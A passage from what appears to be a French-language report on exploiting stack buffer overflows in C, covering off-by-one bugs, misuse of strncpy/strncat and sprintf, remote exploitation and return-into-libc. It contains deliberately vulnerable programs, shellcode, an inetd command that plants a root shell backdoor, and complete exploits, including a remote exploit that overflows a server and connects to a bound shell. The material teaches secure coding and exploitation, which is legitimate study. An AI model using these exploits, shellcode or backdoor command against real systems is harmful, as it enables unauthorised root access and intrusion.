à 4 bytes après le buffer, l'addresse de retour de la fonction ne sera pas modifiée, et
qu'il s'agit bien d'autre mécanisme d'exploitation.
Nous allons illustrer le cas de bugs off-by-one exploitables par un exemple réel. En
décembre 2000, un bug a été découvert dans le serveur ftpd d'Openbsd 2.8 qui avait
échappé à la vigilances des auditeurs d'Openbsd. Il s'agit d'un bug de type off-by-one
qui amène à l’obtention d’un shell root distant si l'attaquant a accès à un répertoire
writeable. Voici la portion de code, située dans le fonction ftpd_replydirname(), qui
était en cause:
char npath[MAXPATHLEN];
int i;
npath[i] = '\0';
27/92
(le bug était présent dans la fonction libc realpath()). Un autre article écrit par klog
et paru dans phrack 55 explicite ces techniques d'exploitation de buffer overflows qui
n'altèrent que le frame pointeur.
Pour montrer comment exploiter ce genre de bugs, nous allons créer un programme
qui contient exactement le code vulnérable du ftpd d'OpenBSD.
1 #include <stdio.h>
2 #define MAXPATHLEN 1024
3
4 func(char *name){
5 char npath[MAXPATHLEN];
6 int i;
7
8 for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++,
name++) {
9 npath[i] = *name;
10 if (*name == '"')
11 npath[++i] = '"';
12 }
13 npath[i] = '\0';
14 }
15
16 main(int argc, char *argv[])
17 {
18 if (argc > 1) func(argv[1]);
19 }
Le programme crash car on écrit un byte "\0" en trop en dehors du buffer. D’après la
figure 2 du chapitre 3.3 nous voyons qu’il s’agit du premier byte du saved frame
pointer. Comme nous sommes en Little Endian, c’est le dernier byte de l’adresse qui
est mis à 0. Cela a pour effet de décaler vers les adresses basses la stack frame de la
fonction appelante de 0 à 252 bytes. Ainsi quand cette procédure appelante retourne,
elle prendra une adresse de retour au mauvais endroit ce qui fait crasher notre
programme. Le programme ne crash donc pas au retour de la fonction func() mais au
retour de la fonction main().
28/92
Nous allons maintenant voir ce qui a amené le programme vulnérable à crasher.
(gdb) c
Continuing.
29/92
20 }
(gdb) i f
Stack level 0, frame at 0xbffff53c:
eip = 0x8048440 in func (vuln3.c:20); saved eip 0x8048465
called by frame at 0xbffff500
source language c.
Arglist at 0xbffff53c, args: name=0xbffffae7 ""
Locals at 0xbffff53c, Previous frame's sp is 0x0
Saved registers:
ebx at 0xbffff124, ebp at 0xbffff53c, eip at 0xbffff540
Sortons de la fonction.
(gdb) n
main (argc=1094795585, argv=0x41414141) at vuln3.c:25
25 }
(gdb) i f
Stack level 0, frame at 0xbffff500:
eip = 0x8048468 in main (vuln3.c:25); saved eip 0x41414141
called by frame at 0x41414141
source language c.
Arglist at 0xbffff500, args: argc=1094795585, argv=0x41414141
Locals at 0xbffff500, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffff500, eip at 0xbffff504
On se trouve maintenant à la fin de main() et le programme n’a pas encore crashé. Par
contre, l’adresse de retour de main() vaut maintenant selon l’information (sous saved
ip) 0x41414141. En effet, si le frame commence à 0xbffff500, l’adresse de retour est
alors prise en 0xbffff500+4, qui se trouve en plein milieu de notre grand buffer
vulnérable. Vérifions cela :
(gdb) x 0xbffff500+4
0xbffff504: 0x41414141
(gdb) c
Continuing.
Pour notre exploit, il suffit donc remplir le buffer plusieurs addresses du shellcode,
qui lui est mis dans une variable d’environnement.
Voici l’exploit:
1 /*
2 * Poisoned NUL byte exploit
3 * for vuln3.c by OUAH (c) 2002
4 * ex3.c
5 */
30/92
6
7 #include <stdio.h>
8
9 #define BUFSIZE 1024
10 #define ALIGNMENT 0
11
12 char sc[]=
13 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53
\x89\xe1\x99\xb0\x0b\xcd\x80";
14
15 void main()
16 {
17 char *env[2] = {sc, NULL};
18 char buf[BUFSIZE];
19 int i;
20 int *ap = (int *)(buf + ALIGNMENT);
21 int ret = 0xbffffffa - strlen(sc) -
strlen("/home/ouah/vuln3");
22
23 for (i = 0; i < BUFSIZE -4; i += 4)
24 *ap++ = ret;
25 *ap = 0x22222222;
26
27 printf(" Poisoned NUL byte\n");
28 printf(" Enjoy your shell!\n");
29
30 execle("/home/ouah/vuln3", "vuln3", buf, NULL, env);
31 }
Quelques remarques encore sur l’exploitation de tels bugs. Le fait que notre buffer
vulnérable était assez grand (1024 bytes) a facilité l’exploitation de notre programme
vulnérable. Si le saved frame pointeur a déjà dans le programme son dernier byte très
bas (exemple : 0xbfffff04), le décalage du à l’altération par un NULL byte est alors
très faible, ce qui laisse alors peu de chance pour le faire pointer dans un buffer que
nous contrôlons. C’est ce qui s’est produit pour la version RedHat 6.2 par défaut du
bug TSIG du serveur de nom bind. Le bug (un overflow) était exploitable compilé sur
RedHat depuis les sources mais la version rpm par défaut avait un frame pointer dont
le dernier byte était trop bas, ce qui rendait l’overflow inexploitable.
Il faut noter que ces bugs off-by-one sur des programmes compilés avec gcc seront
peut-être à l’avenir inexploitables. Les nouvelles versions 3.x de gcc (actuellement
3.0.3) ajoutent un padding entre les variables locales et le frame pointer ce qui rend ce
dernier inaccessible à un off-by-one bug. Pour l’instant, ces versions 3.x ne sont pas
encore jugées assez stables et ne sont donc pas intégrées aux distributions Linux les
plus courantes. La distribution Red Hat utilise quant à elle (depuis Red Hat version 7)
ses propres versions 2.96 et 2.97 de gcc, qui n’existent même pas! Ces versions
31/92
ajoutent aussi un padding, ce qui empêche l’exploitation de ce genre d’off-bye-one
overflow. Dans ce rapport, nous avons systématiquement utilisé le version la plus
stable de gcc, la versions 2.95.3.
32/92
6. Le piège des fonctions strn*()
Après avoir répété sans relâche aux programmeurs que les fonctions strcpy() et
strcat() étaient potentiellement dangereuses et susceptibles d'induire des
débordements de buffer, on a remarqué une prise de conscience de ces derniers qui
emploient maintenant de plus en plus leurs équivalents sécurisés strncpy() et strncat().
Ces fonctions nécessitent la spécification, via leur 3e argument, du nombre d'octets
maximum à copier afin d'éviter un débordement de buffer. Malheureusement, la
définition des ces fonctions n'est pas intuitive et trompe bon nombre de programmeurs
même confirmés.
Nous présentons plusieurs utilisations erronées de ces fonctions qui débouchent sur
des débordements de buffer exploitables, c'est-à-dire qui permettent l'exécution de
code arbitraire. Les méthodes d’exploitation sont les mêmes que celle dans les
chapitres précédents, nous ne reviendrons donc pas plus en détail sur les exploits de
ces programmes. Ceux-ci se trouvent en fin de ce rapport.
1 #include <string.h>
2
3 func(char *sm) {
4 char buffer[12];
5
6 strcpy(buffer, sm);
7 }
8
9 main(int argc, char *argv[])
10 {
11 char entry2[16];
12 char entry1[8];
13
14 if (argc > 2) {
15 strncpy(entry1, argv[1], sizeof(entry1));
16 strncpy(entry2, argv[2], sizeof(entry2));
17 func(entry1);
18 }
19 }
Notre programme place dans les buffers entry1[] et entry2[] les arguments argv[1] et
argv[2] de la ligne de commande du programme. Dans les deux cas, la fonction
strncpy() réalise la copie. La fonction func(), appelée en ligne 17, recopie le buffer
entry1[] d'une taille de 8 octets dans le tableau buffer[] propre à la fonction func() et
d'une taille de 12. Pourtant, ce programme est exploitable.
33/92
ouah@templeball:~$ make vuln1
cc vuln1.c -o vuln1
ouah@templeball:~$ ./vuln1 BBBBBBBB AAAAAAAAAAAA
Segmentation fault (core dumped)
ouah@templeball:~$ gdb -c core -q
Core was generated by `./vuln1 BBBBBBBB AAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
L'adresse de retour de la fonction func() a été écrasée par les valeurs ASCII "AAAA"
ce qui nous donne le contrôle sur %eip (le registre Instruction Pointer). Il s'agit donc
un classique débordement de buffer dans la pile, exploitable pour obtenir des droits
supplémentaires.
Certains peuvent arguer que la fonction func() aurait pu être codée différemment afin
de prévenir ce genre de situation mais en fait l'erreur est due à une mauvaise
utilisation de la fonction strncpy(). En effet, la page man (man 3 strncpy) nous indique
que strncpy() copie au maximum n octets (le 3e argument) du buffer source dans le
buffer de destination MAIS aussi que s'il n'y a pas de null byte (caractère indiquant la
fin d'une chaîne de caractère) dans ces n premiers octets, la fonction n'ajoute pas
d'elle-même ce null byte. La fonction strncpy() ne garantit donc pas que la chaîne soit
terminée par octet NULL.
Dans notre programme vulnérable, nos deux buffers entry1[] et entry2[] étant placés
de façon adjacente en mémoire, la fonction func() copie le buffer entry1[]+entry2[]
(au lieu de seulement entry1[], soit 8+16=24 octets au lieu des 12 prévus) dans le
tableau buffer[], ce qui provoque le débordement.
Dans le cas général, une utilisation correcte et sécurisée de la fonction strncpy() est
obtenue en ajoutant manuellement l'octet NULL dans le buffer destination.
34/92
6.2 Strncat() poisoned NULL byte
Pour ajouter encore à la mauvaise compréhension des fonctions strncpy() et strncat(),
celles-ci fonctionnent différemment. La fonction strncat() place toujours un null byte
à la fin du buffer destination. L'utilisation fréquente de valeurs dynamiques pour la
longueur à copier dans le 3e argument de strncat() augmente les risques d'erreurs.
Notre deuxième programme vulnérable illustre une telle situation et débouche
également sur un débordement.
1 #include <stdio.h>
2 #include <string.h>
3
4 func(char *sm) {
5 char buffer[128]="kab00m!!";
6 char entry[1024];
7
8 strncpy(entry, sm, sizeof(entry)-1);
9 entry[sizeof(entry)-1] = '\0';
10
11 strncat(buffer, entry, sizeof(buffer)-
strlen(buffer));
12
13 printf ("%s\n", buffer);
14 }
15
16 main(int argc, char *argv[])
17 {
18
19 if (argc > 1) func(argv[1]);
20
21 }
En fait, si un octet NULL est toujours ajouté avec la fonction strncat(), il ne faut pas
le comptabiliser dans la longueur spécifiée !
Dans notre programme, la conséquence est que si l'on tente de concaténer trop
d'octets, un octet NULL est ajouté un octet trop loin, soit après notre buffer. Il s'agit
donc d'un cas d'off-by-one overfow. Cet octet supplémentaire écrase le dernier octet
35/92
(puisque l'architecture x86 fonctionne en Little Endian) du frame pointer %ebp
sauvegardé. En effet, le tableau buffer[] étant défini en premier dans la fonction, il est
donc ajouté dans la frame juste dessus le pointeur de frame %ebp. Nous avons vu au
chapitre 5 comment il est possible d’exploiter un tel programme,
afin de prendre un compte cet octet NULL et ainsi éviter qu'il ne tombe en dehors du
buffer destination.
1 #include <stdio.h>
2 #include <string.h>
3
4 func(char *domain) {
5 int len = domain[0];
6 char buff[64];
7
8 buff[0] = '\0';
9
10 if (len >= 64) {
11 fprintf (stderr, "Overflow attempt
detected!\n");
12 return;
13 }
14
15 strncat(buff, &domain[1], len);
16 }
17
18 main(int argc, char *argv[])
19 {
20
21 if (argc > 1) func(argv[1]);
22
23 }
Ici encore, l'argument de la ligne de commande est copié dans un buffer. Le premier
octet de l'argument indique le nombre d'octets maximum à copier. A la ligne 10, on
teste si la valeur de cet octet est supérieure ou égale (on se rappelle de l'octet NULL
de strncat()) à la taille du buffer (64), auquel cas on sort de la fonction afin d'éviter un
débordement de buffer. Testons notre programme avec une valeur inférieure à 64 (3F
en hexa correspond à 63 en décimal).
36/92
ouah@templeball:~$
Notre programme paraît à première vue sécurisé mais il ne l'est pas. Il comporte une
faille liée au type de la variable len. Voyons tout d'abord le prototype de la
fonction strncat() :
On remarque que la longueur n est de type size_t. Ce type est en fait équivalent au
type unsigned int. Dans notre programme, à la ligne 5 nous mettons le premier octet
de l'argument (de type char) dans la variable len (de type int). Le type char et le type
int sont tous les deux des types signés. Le type char, dont la taille est d'un octet, prend
ainsi ses valeur positives de 0x00 à 0x7F (127) et ses valeurs négatives de 0xFF (-1) à
0x80 (-128). Lorsque domain[0] est supérieur à 0x7F il est vu comme un entier
négatif. Lors de son affectation dans la variable len, il est alors étendu (les 24
premiers bits sont mis à 1) pour devenir un int négatif. Étant négatif, il contourne le
test de la ligne 9. Toutefois comme, le 3e argument de la fonction est de type size_t
qui est non-signé, il est alors considéré comme un nombre positif : à cause des bits
mis à 1, il devient soudainement un nombre extrêmement grand !
37/92
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Ce programme est exploitable car malgré une très grande valeur du 3ème argument de
strncat(), la fonction strncat() s'arrête de copier dès la fin de la chaîne de caractères
src. Cela n'est pas le cas de la fonction strncpy() qui continue à remplir de 0 le buffer
destination, si la taille de la chaîne source est plus petite que n.
Notre programme aurait été ainsi inexploitable si nous avions utilisé cette fonction à
la place de strncat() car à force de copier près de 4 Go de données depuis la pile,
strncpy() aurait voulu écrire dans la mémoire du noyau provoquant une segfault (ce
qui constitue quand même un risque de Déni de Service en faisant planter
l'application).
Il y a plusieurs façons d'éviter cette erreur de type, par exemple en faisait une
conversion de type de domain[0] à unsigned avant l'affectation de la ligne 5, en
définissant len comme unsigned ou encore en changeant le type de domain dans la
définition de la fonction func() pour mettre unsigned char.
La présence d'un tel bogue peut paraître hautement improbable et artificielle pourtant
il s'était manifesté dans le programme Antisniff d'Atstake dont nous nous sommes
inspiré pour écrire notre exemple. Les bogues de type casting sont souvent difficiles à
détecter, même lors d'audits manuels de code par des spécialistes.
1 #include <string.h>
2 #include <stdio.h>
3
4 main(int argc, char *argv[]){
5 int i = 5;
6 char dest[8];
7
8 if (argc > 2) {
9 strncpy(dest, argv[1], sizeof(dest));
10 strncat(dest, argv[2], sizeof(dest)-strlen(dest)-1);
11 printf("Valeur de i: %08x\n", i);
12 }
13 }
38/92
Ce programme concatène les deux premiers arguments de la ligne commande dans le
buffer dest[] et sort en affichant le contenu de la variable i. A la ligne 9, le
programmeur a de nouveau mal utilisé la fonction strncpy() tandis qu'il emploie
correctement strncat() à la ligne 10. Exécutons le programme normalement :
En fait, les octets NULL de la variable i (32 bits) servent de terminaison pour la
chaîne de caractères placée dans le buffer dest[]. A la ligne 10, strlen(dest)
devenant alors plus grand que sizeof(dest), la valeur sizeof(dest)-strlen(dest)-1 devient
négative. Ainsi que dans notre programme vulnérable précédent, le dernier
argument de strncat(), qui est de type size_t, prend alors une valeur énorme : strncat()
adopte le même comportement qu'un simple strcat().
39/92
7. La famille des fonctions *scanf() et *sprintf()
scanf("%s", dest);
sprintf(dest, "%s", source);
Pour remédier à ce problème, une taille limite peut être indiquée pour la format string
dans le format tag. Pour les strings des fonctions *scanf(), cela se fait en plaçant un
format tag de cette manière %<taille>s.
Malheureusement, une fois de plus, les programmeurs ont des quelques problèmes
quand il s’agit de comptabiliser ou non le byte NULL qui termine les strings. Dans le
cas de ces fonctions, il ne faut pas comptabiliser le ce dernier byte !
char buf[16];
int i ;
sscanf(data, "%16s", buf);
Un autre risque de confusion est que, pour fixer la taille limite des strings des
fonctions *sprintf(), il faut par contre utiliser le paramètre de précision dans le format
tag, soit %.<taille>s. Pour les fonctions *sprintf(), le format tag %<taille>s
indique une taille minimale et est donc complètement sans valeur pour prévenir un
buffer overflow.
40/92
Nous montrons ici pour sprintf() deux utilisations qui ne préviennent pas des buffer
overflows :
char buf[BUF_SIZE];
sprintf(buf, "%.*s", sizeof(buf), "une-grande-string");
char buf[BUF_SIZE];
sprintf(buf, "%*s", sizeof(buf)-1, "une-grande-string");
Ici nous n’avons omis le . dans le format tag. L’utilisation correcte serait donc de la
forme :
char buf[BUF_SIZE];
sprintf(buf, "%.*s", sizeof(buf)-1, "une-grande-string");
Le problème principal de snprintf() est qu'elle n'est pas une fonction C standart. Elle
n'est pas définie dans le standart ISO 1990 (ANSI 1989) comme l'est sa cousine
sprintf(). Ainsi, pas toutes les implémentations choisissent les mêmes conventions.
Certains vieux systèmes par exemple appellent ainsi directement sprintf() quand ils
rencontrent une fonction snprintf()! Ce fut le cas par exemple de l'ancienne libc4 de
Linux ou dans des vieilles versions du système d'exploitation HP-UX. Dans ces cas,
on croit contôler l'apparition de buffers overflows alors que le programme reste
vulnérable à l'exploitation de ces overflows. Dans certains systèmes, snprintf() n'est
même pas définie. De plus, certaines versions de snprintf() n'ont pas le même usage
suivant le système où elles sont définies: certaines implémentations, comme pour
strncpy(), ne garantiraient pas une null-termination.
Enfin, la valeur de retour n’est pas la même pour toutes les implémentations.
Certaines vieilles versions retournent ainsi –1 si la string à copier a du être tronquée
après avoir dépassé la taille maximale spécifiée alors les autres, conformément au
standart C99, retournent le nombre d’octet qui aurait du être copié dans la chaîne
finale s’il y avait d’espace disponible.
41/92
Pourquoi parler de patch quand on s’intéresse à l’exploitation des buffer overflows ?
Il se trouve en fait que certains programmeurs remarquent une situation d’overflow et
tentent de la prévenir mais en le faisant de manière erronée laisse le programme
toujours exploitable. Ceci est par exemple le cas lors des utilisations erronées des
fonctions strncpy()/strncat() ou de celle des fonctions des familles scanf() et sprintf()
dont nous avons parlé dans les chapitres précédents.
Nous montrons ici deux exemples de programmes qui tentent de prévenir un overflow
mais échouent à cause d’erreurs de conception.
L’exemple qui suit, trouvé au hasard d’un audite de code, est élogieux en la matière :
char dest[BUF_SIZE] ;
strcpy(dest, source);
if (strlen(dest) >= BUF_SIZE) {
/* gestion de l’erreur*/
Quelques fois certains programmeurs qui utilisent les fonctions strcpy() ou sprintf(),
testent directement la longueur de la string source avant la copie pour gérer l’erreur en
cas d’overfow.
char dest[BUF_SIZE] ;
if (strlen(dest) > BUF_SIZE) {
/* gestion de l’erreur*/
strcpy(dest, source);
42/92
8. Remote exploitation
Dans les chapitres précédents nous avons parlé de stack overflows et mais nous
sommes focalisés sur des programmes tournant en local. On peut se demande à juste
titre ce qu’il en est de l’exploitation de buffer overflows qui ont lieu sur des daemons
ou des programmes serveurs et quels sont les différences par rapport à une
exploitation en locale. Pour ce chapitre nous utiliserons un programme serveur
minimal qui contient un overflow.
1 #include <stdio.h>
2 #include <netdb.h>
3 #include <netinet/in.h>
4
5 #define BUFFER_SIZE 1024
6 #define NAME_SIZE 2048
7 #define PORT 1234
8
9 int handling(int c)
10 {
11 char buffer[BUFFER_SIZE], name[NAME_SIZE];
12 int bytes;
13
14 strcpy(buffer, "My name is: ");
15 bytes = send(c, buffer, strlen(buffer), 0);
16 if (bytes < 0) return -1;
17
18 bytes = recv(c, name, sizeof(name), 0);
19
20 if (bytes < 0) return -1;
21
22 name[bytes - 1] = 0;
23 sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
24 bytes = send(c, buffer, strlen(buffer), 0);
25
26 if (bytes < 0) return -1;
27
28 return 0;
29 }
30
31 int main(int argc, char *argv[])
32 {
33 int s, c, cli_size;
34 struct sockaddr_in srv, cli;
35
36 if ((s = socket(AF_INET, SOCK_STREAM, 0))<0){
37 perror("socket() failed");
38 return 2;
39 }
43/92
40 srv.sin_addr.s_addr = INADDR_ANY;
41 srv.sin_port = htons(PORT);
42 srv.sin_family = AF_INET;
43
44 if (bind(s, &srv, sizeof(srv)) < 0)
45 {
46 perror("bind() failed");
47 return 3;
48 }
49
50 if (listen(s, 3) < 0)
51 {
52 perror("listen() failed");
53 return 4;
54 }
55
56 for(;;){
57
58 c = accept(s, &cli, &cli_size);
59
60 if (c < 0){
61 perror("accept() failed");
62 return 5;
63 }
64
65 printf("client from %s", inet_ntoa(cli.sin_addr));
66 if (handling(c) < 0)
67 fprintf(stderr, "%s: handling() failed", argv[0]);
68 close(c);
69 }
70 return 0;
71 }
Ce programme ouvre une socket sur le port 1234 puis attend la connexion d’un client.
Quand un client se connecte à lui, il lui demande une chaîne de caractères qu’il va
ensuite recopier dans un buffer.
On voit toutefois à la ligne 23 qu’il utilise la fonction sprintf() pour copier la string
dans le buffer et ne fait aucune vérification sur la longueur la chaîne qui est le buffer
name. Le buffer peut donc être overflower si on lui passe une chaîne de caractères
trop longue. On a donc ici un programme très semblable à nos premiers exemples en
local sinon que c’est un daemon.
44/92
Regardons ce qu’il se passe si nous lui envoyons une chaîne de caractères plus grande
que le buffer qui va l’accueillir :
Nous avons ainsi pu facilement faire crasher notre serveur, ce qui s’appelle un DoS
(Denial Of Service) car notre serveur ne peut plus répondre aux demandes de
connexion et les traiter. C’est un premier résultat déjà intéressant pour les hackers
mais ce que nous voulons c’est exécuter du code à distance sans avoir un accès à la
machine mais uniquement grâce à l’accès à ce service.
L’exploit que nous allons créer pour ce programme vulnérable devra bien sûr se
connecter au socket et lui envoyer un code malicieux. Malheureusement le problème
est que si nous lui envoyons un payload composé comme précédemment seulement
d’un shellcode execve pour obtenir un shell interactif, cela ne suffira pas. En effet, le
shell sera inutilisable car à cause de la réutilisation de la socket nous perdrons les file
descriptors 0, 1 et 2 (stdin, stdout et stderr) du shell. Une première solution serait
d’utiliser un cmdshellcode qui nous permettrait au lancement de spécifier une
commande du coté serveur pour obtenir un accès root à la machine : exemple en
ajoutant ”+ +” au fichier .rhosts de root exemple, en ajoutant un user normal
et un user root au fichier passwd ou comme cela est le plus souvent vu avec ce genre
de shellcode :
echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >> /tmp/bob ;
/usr/sbin/inetd -s /tmp/bob
Cette commande permet d’ajouter facilemet un shell root dans les services gérés par
inetd (ingreslock est défini dans /etc/services)..
Toutefois cette solution nous convient pas beaucoup, en effet on a seulement une ou
un nombre limités de commandes qu’on peut utiliser. On ne peut avoir aucune
interactivité et aucune sortie affichée de notre commande (à cause de la non-
disponibilité des descripteurs de fichiers). De plus la taille du buffer distant vulnérable
peut limiter la longueur de la commande à utiliser.
La solution la plus utilisée et la plus confortable dans les remote exploits est en fait le
port binding shell. Le shellcode ouvre un port TCP sur la machine distante puis y
exécute /bin/sh.
sck=socket(AF_INET,SOCK_STREAM,0);
bind(sck,addr,sizeof(addr));
listen(sck,5);
clt=accept(sck,NULL,0);
for(i=2;i>=0;i--) dup2(i,clt);
45/92
puis à exécuter le shell comme dans les shellcodes execve précédents. L’utilisateur
peut ainsi se connecter au port et obtenir un vrai shell interactif avec la disponibilité
des 3 descripteurs de fichiers cette fois-ci. En fait généralement, les remote exploits
après avoir envoyé le payload vulnérable au serveur se connectent eux-même au port
distant.
Enfin, quand on lance un remote exploit, contrairement à un local exploit, il nous est
pas possible d’estimer notre adresse de retour avec un get_sp. Pour notre exemple
nous chercherons directement une adresse de retour avec gdb. Les codeurs de remote
exploits proposent généralement une liste de targets d’adresses de retour précalculées
pour certains systèmes avec la possibilité d’ajouter un offset.
46/92
37
38 return(addr.s_addr);
39 }
40
41 void connection(u_long dst_ip)
42 {
43 struct sockaddr_in sin;
44 u_char sock_buf[4096];
45 fd_set fds;
46 int sock;
47 char *command="/bin/uname -a ; /usr/bin/id\n";
48
49 sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
50 if (sock == -1)
51 {
52 perror("socket allocation");
53 exit(-1);
54 }
55
56 sin.sin_family = AF_INET;
57 sin.sin_port = htons(BD_PRT);
58 sin.sin_addr.s_addr = dst_ip;
59
60 if (connect(sock, (struct sockaddr *)&sin, sizeof(struct
sockaddr)) == -1)
61 {
62 perror("connecting to backdoor");
63 close(sock);
64 exit(-1);
65 }
66
67 fprintf(stderr, "Enjoy your shell:)\n");
68
69 send(sock, command, strlen(command), 0);
70
71 for (;;)
72 {
73 FD_ZERO(&fds);
74 FD_SET(0, &fds); /* STDIN_FILENO */
75 FD_SET(sock, &fds);
76
77 if (select(255, &fds, NULL, NULL, NULL) == -1)
78 {
79 perror("select");
80 close(sock);
81 exit(-1);
82 }
83
84 memset(sock_buf, 0, sizeof(sock_buf));
85
86 if (FD_ISSET(sock, &fds))
87 {
88 if (recv(sock, sock_buf, sizeof(sock_buf), 0) ==
-1)
89 {
90 fprintf(stderr, "Connection closed by remote
host.\n");
91 close(sock);
92 exit(0);
93 }
94
47/92
95 fprintf(stderr, "%s", sock_buf);
96 }
97
98 if (FD_ISSET(0, &fds))
99 {
100 read(0, sock_buf, sizeof(sock_buf));
101 write(sock, sock_buf, strlen(sock_buf));
102 }
103 }
104
105 }
106
107
108 int main(int argc, char *argv[]) {
109
110 char buffer[1064-ALIG];
111 int s, i, size;
112 struct sockaddr_in remote;
113 struct hostent *host;
114
115 int port = PORT;
116 u_long dst_ip = 0;
117
118 printf("Remote Exploit by OUAH (c) 2002\n");
119
120 if(argc < 2) {
121 printf("Usage: %s target-ip [port]\n", argv[0]);
122 return -1;
123 }
124
125
126 dst_ip = resolve_host(argv[1]);
127 if (!dst_ip)
128 {
129 fprintf(stderr, "What kind of address is that:
`%s`?\n", argv[1]);
130 exit(-1);
131 }
132 if (argc > 2) port = atoi(argv[2]);
133
134 memset(buffer, 0x90, 1064-ALIG);
135
136 for (i=0; i < strlen(shellcode);i++)
137 buffer[i+802]=shellcode[i];
138
139
140
141 for(i=1000-ALIG; i < 1059-ALIG; i+=4)
142 *((int*) &buffer[i]) = RET;
143
144 buffer[1063-ALIG] = 0x0;
145
146
147 host=gethostbyname(argv[1]);
148
149 if (host==NULL)
150
151 {
152 fprintf(stderr, "Unknown Host %s\n",argv[1]);
153 return -1;
154 }
48/92
155
156
157 s = socket(AF_INET, SOCK_STREAM, 0);
158 if (s < 0)
159 {
160 fprintf(stderr, "Error: Socket\n");
161 return -1;
162 }
163 remote.sin_family = AF_INET;
164 remote.sin_addr = *((struct in_addr *)host->h_addr);
165 remote.sin_port = htons(port);
166
167 if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-
1)
168 {
169 close(s);
170 fprintf(stderr, "Error: connect\n");
171 return -1;
172 }
173
174
175 size = send(s, buffer, sizeof(buffer), 0);
176 if (size==-1)
177 {
178 close(s);
179 fprintf(stderr, "sending data failed\n");
180 return -1;
181 }
182
183 fprintf(stderr, "Malicious buffer sent, waiting for
portshell..\n");
184 sleep(4);
185
186 close(s);
187
188 connection(dst_ip);
189
190 }
Dans le main() de l’exploit, nous nous construisons d’abord dans buffer (ligne 110) le
payload qui contient le shellcode et va écraser l’adresse de retour en pile du
programme vulnérable. Ensuite à la ligne 175, nous nous connectons au serveur
vulnérable et lui envoyons le payload. Ceci provoque donc l’exécution de notre
shellode du côté du serveur et l’ouverture d’un port sur ce serveur. A la ligne 184,
nous attendons 4 secondes (cela est amplement suffisant) que le shellcode soit exécuté
et le port ouvert. Nous fermons enfin la socket de connexion et via la fonction
connection() nous nous connectons au port que nous venons d’ouvrir.
Quand nous nous connectons, notre exploit envoie (ligne 69) automatiquement au
portshell les commandes :
/bin/uname -a ; /usr/bin/id
49/92
Pour rendre fonctionnel notre exploit il faut d’abord lui trouver une adresse de retour
correcte (ligne 11). Nous utiliserons ainsi gdb sur notre programme vulnérable :
Une adresse de retour au milieu du buffer est un bon candidat. Il faut juster penser à
se rappeller que les adresses qui contiennent un byte à 0 doivent être exclues.
Patchons notre exploit à la ligne 11 avec notre nouvelle adresse de retour 0xbffff6e0.
Nous voyons donc que bien que notre hacker n’avait initiallement aucun compte sur
la machine distante, un simple accès au serveur vulnérable lui a permis d’obtenir un
shell (root si le serveur est lancé en root) sur la machine.
50/92
Notons encore la possibilité de brute-forcer certains offset pour des daemons plus
diffcilements exploitables. Cela est possible pour les respawning daemons qui sont
toujours automatiquement relancés même en cas de segfault, par exemple les services
lancés par inetd, ou des serveurs tels que sshd.
Quelques mots encore sur notre shellcode. Notre shellcode ouvre un port sur la
machine distante. Cela peut poser quelques problèmes dans l’exploitation de certains
serveurs. Il se peut par exemple qu’à cause de la présence d’un firewall qu’il soit
impossible d’ouvrir ce port ou même seulement d’y accéder. Si l’on écarte la solution
peu confortable du cmdshellcode, il existe 2 autres types de shellcode pour pallier à
cette limitation :
51/92
9. RET-into-libc
Dans les sections suivantes, nous présenterons ces patchs kernels ainsi que d’autres
méthodes de type return-into qui exploitent des stack overflow même avec les version
récentes de ces patchs.
3
L’exploit devrait aussi fonctionner avec le patch Pax (ou les patchs basés dessus comme grsecurity) si
l’option CONFIG_PAX_RANDMAP n’a pas été séléctionnée
52/92
pointe directement sur la fonction libc system(). Le but est d’appeler la fonction
system(/bin/sh); pour obtenir un shell comme dans le cas d’un exécution de shellcode.
D’après le chapitre 2, on sait que les fonctions prennent leurs paramètres sur la pile.
Dans un payload return-into-libc, juste après l’adresse de la fonction system(), il y a
l’adresse de retour dans la fonction puis le paramètre de la fonction system(). Ce
shéma est le même pour n’importe quelle autre appel de fonction en return-into-libc.
Il suffit donc de faire suivre 8 bytes plus loin dans le payload l’adresse de la fonction
system() par l’adresse en mémoire d’une chaîne /bin/sh terminée par un 0. Ainsi
aucun code n’est exécuté dans la stack, c’est uniquement du code de la libc qui est
exécuté. La fonction system() utilisant un seul paramètre, il nous est possible au
retour de system() de sauter encore sur une fonction. Nous choisirons d’appeler la
fonction exit() en fin pour que quand le hacker quitte le shell obtenu, le programme
quitte proprement sans segfaulter.
00 dummy
dummy
/bin/sh
/bin/shptr
ptr
exit()
exit()
ret
ret system()
system()
sfp
sfp
dummy
dummy
buffer
buffer
figure 4.
Il n’est pas possible d’appeler plus de fonctions dans notre exploit return-into-libc, en
effet, du à l’empilement des arguments sur la pile, l’adresse d’une troisième fonction
devrait se situer dans notre cas exactement à l’endroit où l’adresse de la chaîne /bin/sh
est stockée. La figure 4 montre l’ordonnancement de notre payload sur la pile.
Nous aurions aussi pu au lieu d’utiliser la fonction system() appeler une fonction de la
famille exec*(). Ces fonctions ont besoin de plus d’arguments que la fonction
system() mais ont l’avantage de ne jamais retourné au programmé appelant (sauf en
53/92
cas d’erreur de l’appel). Faire suivre ces fonctions d’un appel à exit() est ainsi
superlflu.
1 /*
2 * sample ret-into-libc exploit
3 * for vuln2.c by OUAH (c) 2002
4 * ex9.c
5 */
6
7 #include <stdio.h>
8
9 #define LIBBASE 0x40025000
10 #define MYSYSTEM (LIBBASE+0x48870)
11 #define MYEXIT (LIBBASE+0x2efe0)
12 #define MYBINSH 0x40121c19
13 #define ALIGN 1
14
15 void main(int argc, char *argv[]) {
16
17
18 char shellbuf[33+ALIGN]; /* 20+3*4+1+ALIGN */
19 int *ptr;
20
21 memset(shellbuf, 0x41, sizeof(shellbuf));
22 shellbuf[sizeof(shellbuf)-1] = 0;
23
24 ptr = (int *)(shellbuf+20+ALIGN);
25 *ptr++ =MYSYSTEM;
26 *ptr++ =MYEXIT;
27 *ptr++ =MYBINSH;
28
29 printf(" return-into-libc exploit by OUAH (c) 2002\n");
30 printf(" Enjoy your shell!\n");
